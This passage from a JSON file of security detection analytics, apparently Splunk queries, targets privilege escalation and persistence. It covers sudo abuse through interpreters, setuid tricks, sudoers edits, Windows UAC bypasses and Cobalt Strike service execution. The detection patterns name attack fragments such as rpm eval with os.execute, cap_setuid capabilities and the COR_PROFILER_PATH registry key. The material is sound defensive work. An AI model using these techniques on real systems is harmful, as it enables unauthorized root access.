"mitre_attack_id": "T1548.003", - "mitre_attack_technique": "Sudo and Sudo Caching", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux Persistence and Privilege Escalation Risk Behavior", - "description": "The following analytic identifies potential Linux persistence and privilege escalation activities. It leverages risk scores and event counts from various Linux-related data sources, focusing on tactics associated with persistence and privilege escalation. This activity is significant for a SOC because it highlights behaviors that could allow an attacker to maintain access or gain elevated privileges on a Linux system. If confirmed malicious, this activity could enable an attacker to execute code with higher privileges, persist in the environment, and potentially access sensitive information, posing a severe security risk.", - "search": "| tstats `security_content_summariesonly` min(_time) as firstTime max(_time) as lastTime sum(All_Risk.calculated_risk_score) as risk_score, count(All_Risk.calculated_risk_score) as risk_event_count, values(All_Risk.annotations.mitre_attack.mitre_tactic_id) as annotations.mitre_attack.mitre_tactic_id, dc(All_Risk.annotations.mitre_attack.mitre_tactic_id) as mitre_tactic_id_count, values(All_Risk.annotations.mitre_attack.mitre_technique_id) as annotations.mitre_attack.mitre_technique_id, dc(All_Risk.annotations.mitre_attack.mitre_technique_id) as mitre_technique_id_count, values(All_Risk.tag) as tag, values(source) as source, dc(source) as source_count from datamodel=Risk.All_Risk where (All_Risk.analyticstories IN (\"Linux Privilege Escalation\", \"Linux Persistence Techniques\") OR source = \"*Linux*\") All_Risk.annotations.mitre_attack.mitre_tactic IN (\"persistence\", \"privilege-escalation\") All_Risk.risk_object_type=\"system\" by All_Risk.risk_object All_Risk.risk_object_type All_Risk.annotations.mitre_attack.mitre_tactic | `drop_dm_object_name(All_Risk)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | where source_count >= 4 | `linux_persistence_and_privilege_escalation_risk_behavior_filter`", - "tags": { - "analytic_story": [ - "Linux Persistence Techniques", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "risk_object", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Privilege escalation and persistence behaviors have been identified on $risk_object$.", - "risk_score": 56, - "security_domain": "audit", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux PHP Privilege Escalation", - "description": "The following analytic detects the execution of PHP commands with elevated privileges on a Linux system. It identifies instances where PHP is used in conjunction with 'sudo' and 'system' commands, indicating an attempt to run system commands as the root user. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process command-line arguments. This activity is significant because it can indicate an attempt to escalate privileges, potentially leading to full root access. If confirmed malicious, this could allow an attacker to execute arbitrary commands with root privileges, compromising the entire system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process=\"*php*-r*\" AND Processes.process=\"*system*\" AND Processes.process=\"*sudo*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_php_privilege_escalation_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$", - "risk_score": 30, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.003", - "mitre_attack_technique": "Sudo and Sudo Caching", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux Possible Access To Sudoers File", - "description": "The following analytic detects potential access or modification of the /etc/sudoers file on a Linux system. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on processes like \"cat,\" \"nano,\" \"vim,\" and \"vi\" accessing the /etc/sudoers file. This activity is significant because the sudoers file controls user permissions for executing commands with elevated privileges. If confirmed malicious, an attacker could gain persistence or escalate privileges, compromising the security of the targeted host.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name IN(\"cat\", \"nano*\",\"vim*\", \"vi*\") AND Processes.process IN(\"*/etc/sudoers*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_possible_access_to_sudoers_file_filter`", - "tags": { - "analytic_story": [ - "Linux Persistence Techniques", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A commandline $process$ executed on $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.003", - "mitre_attack_technique": "Sudo and Sudo Caching", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux Puppet Privilege Escalation", - "description": "The following analytic detects the execution of Puppet commands with elevated privileges, specifically when Puppet is used to apply configurations with sudo rights. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs that include command-line details. This activity is significant because it indicates a potential privilege escalation attempt, where a user could gain root access and execute system commands as the root user. If confirmed malicious, this could allow an attacker to fully compromise the system, execute arbitrary commands, and maintain persistent control.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process=\"*puppet*\" AND Processes.process=\"*apply*\" AND Processes.process=\"*-e*\" AND Processes.process=\"*exec*\" AND Processes.process=\"*sudo*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_puppet_privilege_escalation_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$", - "risk_score": 5, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.003", - "mitre_attack_technique": "Sudo and Sudo Caching", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux RPM Privilege Escalation", - "description": "The following analytic detects the execution of the RPM Package Manager with elevated privileges, specifically when it is used to run system commands as root via the `--eval` and `lua:os.execute` options. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on command-line executions and process metadata. This activity is significant because it indicates a potential privilege escalation attempt, allowing a user to gain root access. If confirmed malicious, this could lead to full system compromise, unauthorized access to sensitive data, and further exploitation of the environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process=\"*rpm*--eval*\" AND Processes.process=\"*lua:os.execute*\" AND Processes.process=\"*sudo*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_rpm_privilege_escalation_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$", - "risk_score": 30, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.003", - "mitre_attack_technique": "Sudo and Sudo Caching", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux Ruby Privilege Escalation", - "description": "The following analytic detects the execution of Ruby commands with elevated privileges on a Linux system. It identifies processes where Ruby is used with the `-e` flag to execute commands via `sudo`, leveraging Endpoint Detection and Response (EDR) telemetry. This activity is significant because it indicates a potential privilege escalation attempt, allowing a user to execute commands as root. If confirmed malicious, this could lead to full system compromise, enabling an attacker to gain root access, execute arbitrary commands, and maintain persistent control over the affected system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process=\"*ruby*-e*\" AND Processes.process=\"*exec*\" AND Processes.process=\"*sudo*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_ruby_privilege_escalation_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$", - "risk_score": 30, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.003", - "mitre_attack_technique": "Sudo and Sudo Caching", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux Setuid Using Chmod Utility", - "description": "The following analytic detects the execution of the chmod utility to set the SUID or SGID bit on files, which can allow users to temporarily gain root or group-level access. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line arguments related to chmod. This activity is significant as it can indicate an attempt to escalate privileges or maintain persistence on a system. If confirmed malicious, an attacker could gain elevated access, potentially compromising sensitive data or critical system functions.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes WHERE (Processes.process_name = chmod OR Processes.process = \"*chmod *\") AND Processes.process IN(\"* g+s *\", \"* u+s *\", \"* 4777 *\", \"* 4577 *\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_setuid_using_chmod_utility_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Persistence Techniques", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "a commandline $process$ that may set suid or sgid on $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.001", - "mitre_attack_technique": "Setuid and Setgid", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux Setuid Using Setcap Utility", - "description": "The following analytic detects the execution of the 'setcap' utility to enable the SUID bit on Linux systems. It leverages Endpoint Detection and Response (EDR) data, focusing on process names and command-line arguments that indicate the use of 'setcap' with specific capabilities. This activity is significant because setting the SUID bit allows a user to temporarily gain root access, posing a substantial security risk. If confirmed malicious, an attacker could escalate privileges, execute arbitrary commands with elevated permissions, and potentially compromise the entire system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name = setcap OR Processes.process = \"*setcap *\") AND Processes.process IN (\"* cap_setuid=ep *\", \"* cap_setuid+ep *\", \"* cap_net_bind_service+p *\", \"* cap_net_raw+ep *\", \"* cap_dac_read_search+ep *\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_setuid_using_setcap_utility_filter`", - "tags": { - "analytic_story": [ - "Linux Persistence Techniques", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A commandline $process$ that may set suid or sgid on $dest$", - "risk_score": 49, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.001", - "mitre_attack_technique": "Setuid and Setgid", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux Sqlite3 Privilege Escalation", - "description": "The following analytic detects the execution of the sqlite3 command with elevated privileges, which can be exploited for privilege escalation. It leverages Endpoint Detection and Response (EDR) telemetry to identify instances where sqlite3 is used in conjunction with shell commands and sudo. This activity is significant because it indicates a potential attempt to gain root access, which could lead to full system compromise. If confirmed malicious, an attacker could execute arbitrary commands as root, leading to unauthorized access, data exfiltration, or further lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process=\"*sqlite3*\" AND Processes.process=\"*.shell*\" AND Processes.process=\"*sudo*\" by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_sqlite3_privilege_escalation_filter`", - "tags": { - "analytic_story": [ - "Linux Living Off The Land", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "An instance of $parent_process_name$ spawning $process_name$ was identified on endpoint $dest$", - "risk_score": 30, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.003", - "mitre_attack_technique": "Sudo and Sudo Caching", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux Sudo OR Su Execution", - "description": "The following analytic detects the execution of the \"sudo\" or \"su\" command on a Linux operating system. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and parent process names. This activity is significant because \"sudo\" and \"su\" commands are commonly used by adversaries to elevate privileges, potentially leading to unauthorized access or control over the system. If confirmed malicious, this activity could allow attackers to execute commands with root privileges, leading to severe security breaches, data exfiltration, or further system compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name IN (\"sudo\", \"su\") OR Processes.parent_process_name IN (\"sudo\", \"su\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_sudo_or_su_execution_filter`", - "tags": { - "analytic_story": [ - "Linux Persistence Techniques", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A commandline $process$ that execute sudo or su in $dest$", - "risk_score": 9, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.003", - "mitre_attack_technique": "Sudo and Sudo Caching", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux Sudoers Tmp File Creation", - "description": "The following analytic detects the creation of the \"sudoers.tmp\" file, which occurs when editing the /etc/sudoers file using visudo or another editor on a Linux platform. This detection leverages filesystem data to identify the presence of \"sudoers.tmp\" files. Monitoring this activity is crucial as adversaries may exploit it to gain elevated privileges on a compromised host. If confirmed malicious, this activity could allow attackers to modify sudoers configurations, potentially granting them unauthorized access to execute commands as other users, including root, thereby compromising the system's security.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.file_path IN (\"*sudoers.tmp*\") by Filesystem.dest Filesystem.file_name Filesystem.process_guid Filesystem.file_path | `drop_dm_object_name(Filesystem)` | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `linux_sudoers_tmp_file_creation_filter`", - "tags": { - "analytic_story": [ - "Linux Persistence Techniques", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A file $file_name$ is created in $file_path$ on $dest$", - "risk_score": 72, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.003", - "mitre_attack_technique": "Sudo and Sudo Caching", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Linux Visudo Utility Execution", - "description": "The following analytic detects the execution of the 'visudo' utility to modify the /etc/sudoers file on a Linux system. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process execution logs. This activity is significant because unauthorized changes to the /etc/sudoers file can grant elevated privileges to users, potentially allowing adversaries to execute commands as root. If confirmed malicious, this could lead to full system compromise, privilege escalation, and persistent unauthorized access, severely impacting the security posture of the affected host.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name = visudo by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.process_guid | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_visudo_utility_execution_filter`", - "tags": { - "analytic_story": [ - "Linux Persistence Techniques", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A commandline $process$ executed on $dest$", - "risk_score": 16, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.003", - "mitre_attack_technique": "Sudo and Sudo Caching", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "NET Profiler UAC bypass", - "description": "The following analytic detects modifications to the registry aimed at bypassing the User Account Control (UAC) feature in Windows. It identifies changes to the .NET COR_PROFILER_PATH registry key, which can be exploited to load a malicious DLL via mmc.exe. This detection leverages data from the Endpoint.Registry datamodel, focusing on specific registry paths and values. Monitoring this activity is crucial as it can indicate an attempt to escalate privileges or persist within the environment. If confirmed malicious, this could allow an attacker to execute arbitrary code with elevated privileges, compromising system integrity.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Registry where Registry.registry_path= \"*\\\\Environment\\\\COR_PROFILER_PATH\" Registry.registry_value_data = \"*.dll\" by Registry.registry_path Registry.registry_key_name Registry.registry_value_data Registry.dest | `drop_dm_object_name(Registry)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `net_profiler_uac_bypass_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious modification of registry $registry_path$ with possible payload path $registry_path$ and key $registry_key_name$ in $dest$", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.002", - "mitre_attack_technique": "Bypass User Account Control", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT29", - "APT37", - "BRONZE BUTLER", - "Cobalt Group", - "Earth Lusca", - "Evilnum", - "MuddyWater", - "Patchwork", - "Threat Group-3390" - ] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Sdclt UAC Bypass", - "description": "The following analytic detects suspicious modifications to the sdclt.exe registry, a technique often used to bypass User Account Control (UAC). It leverages data from Endpoint Detection and Response (EDR) agents, focusing on specific registry paths and values associated with sdclt.exe. This activity is significant because UAC bypasses can allow attackers to execute payloads with elevated privileges without user consent. If confirmed malicious, this could lead to unauthorized code execution, privilege escalation, and potential persistence within the environment, posing a severe security risk.", - "search": "| tstats `security_content_summariesonly` count min(_time) AS firstTime max(_time) AS lastTime FROM datamodel=Endpoint.Processes BY _time span=1h Processes.user Processes.process_id Processes.process_name Processes.process Processes.process_path Processes.dest Processes.parent_process_name Processes.parent_process Processes.process_guid | `drop_dm_object_name(Processes)` | join process_guid [ | tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Registry WHERE ((Registry.registry_path= \"*\\\\Windows\\\\CurrentVersion\\\\App Paths\\\\control.exe*\" OR Registry.registry_path= \"*\\\\exefile\\\\shell\\\\runas\\\\command\\\\*\") (Registry.registry_value_name = \"(Default)\" OR Registry.registry_value_name = \"IsolatedCommand\")) BY _time span=1h Registry.registry_path Registry.registry_key_name Registry.registry_value_name Registry.registry_value_data Registry.process_guid | `drop_dm_object_name(Registry)`] | fields firstTime lastTime dest user parent_process_name parent_process process_name process_path process registry_key_name registry_path registry_value_name registry_value_data process_guid | where isnotnull(registry_value_data) | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `sdclt_uac_bypass_filter`", - "tags": { - "analytic_story": [ - "Windows Defense Evasion Tactics", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Suspicious modification of registry $registry_path$ with possible payload path $registry_value_name$ in $dest$", - "risk_score": 63, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548.002", - "mitre_attack_technique": "Bypass User Account Control", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [ - "APT29", - "APT37", - "BRONZE BUTLER", - "Cobalt Group", - "Earth Lusca", - "Evilnum", - "MuddyWater", - "Patchwork", - "Threat Group-3390" - ] - }, - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Services Escalate Exe", - "description": "The following analytic identifies the execution of a randomly named binary via `services.exe`, indicative of privilege escalation using Cobalt Strike's `svc-exe`. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process lineage and command-line executions. This activity is significant as it often follows initial access, allowing adversaries to escalate privileges and establish persistence. If confirmed malicious, this behavior could enable attackers to execute arbitrary code, maintain long-term access, and potentially move laterally within the network, posing a severe threat to the organization's security.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name=services.exe Processes.process_path=*admin$* by Processes.process_path Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `services_escalate_exe_filter`", - "tags": { - "analytic_story": [ - "BlackByte Ransomware", - "CISA AA23-347A", - "Cobalt Strike", - "Graceful Wipe Out Attack" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "A service process $parent_process_name$ with process path $process_path$ in host $dest$", - "risk_score": 76, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1548", - "mitre_attack_technique": "Abuse Elevation Control Mechanism", - "mitre_attack_tactics": [ - "Defense Evasion", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - 